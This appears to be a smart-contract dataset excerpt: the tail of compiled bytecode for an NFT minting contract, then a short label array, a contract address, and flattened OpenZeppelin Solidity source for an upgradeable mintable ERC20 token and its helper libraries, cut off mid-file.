34565b1061191f5760405162461bcd60e51b815260206004820152601360248201527f45786365646573206d617820737570706c792e0000000000000000000000000060448201526064016109d4565b600a5482106119705760405162461bcd60e51b815260206004820152601c60248201527f45786365656473206d617820706572207472616e73616374696f6e2e0000000060448201526064016109d4565b34600b548361197f9190612f60565b146119cc5760405162461bcd60e51b815260206004820152601760248201527f496e76616c69642066756e64732070726f76696465642e00000000000000000060448201526064016109d4565b60005b82811015610c4f576119e5336114278385612f34565b806119ef81612ffd565b9150506119cf565b6001600160a01b038216331415611a505760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016109d4565b3360008181526004602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b611ac63383612160565b611b385760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656400000000000000000000000000000060648201526084016109d4565b61143e84848484612479565b6005546001600160a01b03163314611b8c5760405162461bcd60e51b815260206004820181905260248201526000805160206130b083398151915260448201526064016109d4565b600d8054911515600160a01b027fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff909216919091179055565b6060611bd0826120a8565b611c1c5760405162461bcd60e51b815260206004820152601560248201527f546f6b656e20646f6573206e6f742065786973742e000000000000000000000060448201526064016109d4565b6006611c2783612502565b604051602001611c38929190612da5565b6040516020818303038152906040529050919050565b6005546001600160a01b03163314611c965760405162461bcd60e51b815260206004820181905260248201526000805160206130b083398151915260448201526064016109d4565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314611d005760405162461bcd60e51b815260206004820181905260248201526000805160206130b083398151915260448201526064016109d4565b600a55565b6007546040517fc45527910000000000000000000000000000000000000000000000000000000081526001600160a01b03848116600483015260009281169190841690829063c45527919060240160206040518083038186803b158015611d6b57600080fd5b505afa158015611d7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611da39190612cde565b6001600160a01b03161480611dd057506001600160a01b0383166000908152600e602052604090205460ff165b15611ddf57600191505061098a565b6001600160a01b0380851660009081526004602090815260408083209387168352929052205460ff165b949350505050565b6005546001600160a01b03163314611e595760405162461bcd60e51b815260206004820181905260248201526000805160206130b083398151915260448201526064016109d4565b6001600160a01b038116611ed55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016109d4565b610a0581612427565b60005b815181101561143e57611f0e8484848481518110611f0157611f01613058565b6020026020010151610ca1565b80611f1881612ffd565b915050611ee1565b6005546001600160a01b03163314611f685760405162461bcd60e51b815260206004820181905260248201526000805160206130b083398151915260448201526064016109d4565b6001600160a01b03166000908152600e60205260409020805460ff19811660ff90911615179055565b60006001600160e01b031982167f80ac58cd000000000000000000000000000000000000000000000000000000001480611ff457506001600160e01b031982167f5b5e139f00000000000000000000000000000000000000000000000000000000145b8061098a57507f01ffc9a7000000000000000000000000000000000000000000000000000000006001600160e01b031983161461098a565b6002805460018101825560009182527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180546001600160a01b0319166001600160a01b0385169081179091556040518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6002546000908210801561098a575060006001600160a01b0316600283815481106120d5576120d5613058565b6000918252602090912001546001600160a01b0316141592915050565b600081815260036020526040902080546001600160a01b0319166001600160a01b0384169081179091558190612127826115b8565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600061216b826120a8565b6121cc5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016109d4565b60006121d7836115b8565b9050806001600160a01b0316846001600160a01b031614806122125750836001600160a01b031661220784610a9a565b6001600160a01b0316145b80611e095750611e098185611d05565b826001600160a01b0316612235826115b8565b6001600160a01b0316146122b15760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e000000000000000000000000000000000000000000000060648201526084016109d4565b6001600160a01b03821661232c5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016109d4565b6123376000826120f2565b816002828154811061234b5761234b613058565b6000918252602082200180546001600160a01b0319166001600160a01b03938416179055604051839285811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9190a4505050565b60006123b0826115b8565b90506123bd6000836120f2565b6000600283815481106123d2576123d2613058565b6000918252602082200180546001600160a01b0319166001600160a01b0393841617905560405184928416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b612484848484612222565b61249084848484612634565b61143e5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e746572000000000000000000000000000060648201526084016109d4565b60608161254257505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b811561256c578061255681612ffd565b91506125659050600a83612f4c565b9150612546565b60008167ffffffffffffffff8111156125875761258761306e565b6040519080825280601f01601f1916602001820160405280156125b1576020820181803683370190505b5090505b8415611e09576125c6600183612f7f565b91506125d3600a86613018565b6125de906030612f34565b60f81b8183815181106125f3576125f3613058565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535061262d600a86612f4c565b94506125b5565b60006001600160a01b0384163b1561278c57604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290612678903390899088908890600401612e4c565b602060405180830381600087803b15801561269257600080fd5b505af19250505080156126c2575060408051601f3d908101601f191682019092526126bf91810190612cc1565b60015b612772573d8080156126f0576040519150601f19603f3d011682016040523d82523d6000602084013e6126f5565b606091505b50805161276a5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e746572000000000000000000000000000060648201526084016109d4565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611e09565b506001949350505050565b8280546127a390612fc2565b90600052602060002090601f0160209004810192826127c5576000855561280b565b82601f106127de57805160ff191683800117855561280b565b8280016001018555821561280b579182015b8281111561280b5782518255916020019190600101906127f0565b506114be9291505b808211156114be5760008155600101612813565b600067ffffffffffffffff8311156128415761284161306e565b612854601f8401601f1916602001612edf565b905082815283838301111561286857600080fd5b828260208301376000602084830101529392505050565b600082601f83011261289057600080fd5b813560206128a56128a083612f10565b612edf565b80838252828201915082860187848660051b89010111156128c557600080fd5b60005b858110156128e4578135845292840192908401906001016128c8565b5090979650505050505050565b8035801515811461290157600080fd5b919050565b600082601f83011261291757600080fd5b61113983833560208501612827565b60006020828403121561293857600080fd5b813561113981613084565b6000806040838503121561295657600080fd5b823561296181613084565b9150602083013561297181613084565b809150509250929050565b60008060006060848603121561299157600080fd5b833561299c81613084565b925060208401356129ac81613084565b9150604084013567ffffffffffffffff8111156129c857600080fd5b6129d48682870161287f565b9150509250925092565b600080600080608085870312156129f457600080fd5b84356129ff81613084565b93506020850135612a0f81613084565b9250604085013567ffffffffffffffff80821115612a2c57600080fd5b612a388883890161287f565b93506060870135915080821115612a4e57600080fd5b50612a5b87828801612906565b91505092959194509250565b600080600060608486031215612a7c57600080fd5b8335612a8781613084565b92506020840135612a9781613084565b929592945050506040919091013590565b60008060008060808587031215612abe57600080fd5b8435612ac981613084565b93506020850135612ad981613084565b925060408501359150606085013567ffffffffffffffff811115612afc57600080fd5b612a5b87828801612906565b600080600060408486031215612b1d57600080fd5b8335612b2881613084565b9250602084013567ffffffffffffffff80821115612b4557600080fd5b818601915086601f830112612b5957600080fd5b813581811115612b6857600080fd5b8760208260051b8501011115612b7d57600080fd5b6020830194508093505050509250925092565b60008060408385031215612ba357600080fd5b8235612bae81613084565b9150612bbc602084016128f1565b90509250929050565b60008060408385031215612bd857600080fd5b8235612be381613084565b946020939093013593505050565b60006020808385031215612c0457600080fd5b825167ffffffffffffffff811115612c1b57600080fd5b8301601f81018513612c2c57600080fd5b8051612c3a6128a082612f10565b80828252848201915084840188868560051b8701011115612c5a57600080fd5b600094505b83851015612c7d578051835260019490940193918501918501612c5f565b50979650505050505050565b600060208284031215612c9b57600080fd5b611139826128f1565b600060208284031215612cb657600080fd5b813561113981613099565b600060208284031215612cd357600080fd5b815161113981613099565b600060208284031215612cf057600080fd5b815161113981613084565b600060208284031215612d0d57600080fd5b813567ffffffffffffffff811115612d2457600080fd5b8201601f81018413612d3557600080fd5b611e0984823560208401612827565b600060208284031215612d5657600080fd5b5035919050565b60008151808452612d75816020860160208601612f96565b601f01601f19169290920160200192915050565b60008151612d9b818560208601612f96565b9290920192915050565b600080845481600182811c915080831680612dc157607f831692505b6020808410821415612de157634e487b7160e01b86526022600452602486fd5b818015612df55760018114612e0657612e33565b60ff19861689528489019650612e33565b60008b81526020902060005b86811015612e2b5781548b820152908501908301612e12565b505084890196505b505050505050612e438185612d89565b95945050505050565b60006001600160a01b03808716835280861660208401525083604083015260806060830152612e7e6080830184612d5d565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b81811015612ec057835183529284019291840191600101612ea4565b50909695505050505050565b6020815260006111396020830184612d5d565b604051601f8201601f1916810167ffffffffffffffff81118282101715612f0857612f0861306e565b604052919050565b600067ffffffffffffffff821115612f2a57612f2a61306e565b5060051b60200190565b60008219821115612f4757612f4761302c565b500190565b600082612f5b57612f5b613042565b500490565b6000816000190483118215151615612f7a57612f7a61302c565b500290565b600082821015612f9157612f9161302c565b500390565b60005b83811015612fb1578181015183820152602001612f99565b8381111561143e5750506000910152565b600181811c90821680612fd657607f821691505b60208210811415612ff757634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156130115761301161302c565b5060010190565b60008261302757613027613042565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610a0557600080fd5b6001600160e01b031981168114610a0557600080fdfe4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220565a1ad789f2abfe9cb9078018b7f8cbb209098644391ad57100560e4157635e64736f6c63430008070033
[ 5, 12 ]
0xf24aeab628493f82742db68596b532ab8a141057
// File: @openzeppelin/upgrades/contracts/Initializable.sol pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol pragma solidity ^0.5.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Initializable, Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } uint256[50] private ______gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/access/Roles.sol pragma solidity ^0.5.0; /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } // File: @openzeppelin/contracts-ethereum-package/contracts/access/roles/MinterRole.sol pragma solidity ^0.5.0; contract MinterRole is Initializable, Context { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; function initialize(address sender) public initializer { if (!isMinter(sender)) { _addMinter(sender); } } modifier onlyMinter() { require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role"); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(_msgSender()); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } uint256[50] private ______gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Mintable.sol pragma solidity ^0.5.0; /** * @dev Extension of {ERC20} that adds a set of accounts with the {MinterRole}, * which have permission to mint (create) new tokens as they see fit. * * At construction, the deployer of the contract is the only minter. */ contract ERC20Mintable is Initializable, ERC20, MinterRole { function initialize(address sender) public initializer { MinterRole.initialize(sender); } /** * @dev See {ERC20-_mint}. * * Requirements: * * - the caller must have the {MinterRole}. */ function mint(address account, uint256 amount) public onlyMinter returns (bool) { _mint(account, amount); return true; } uint256[50] private ______gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: 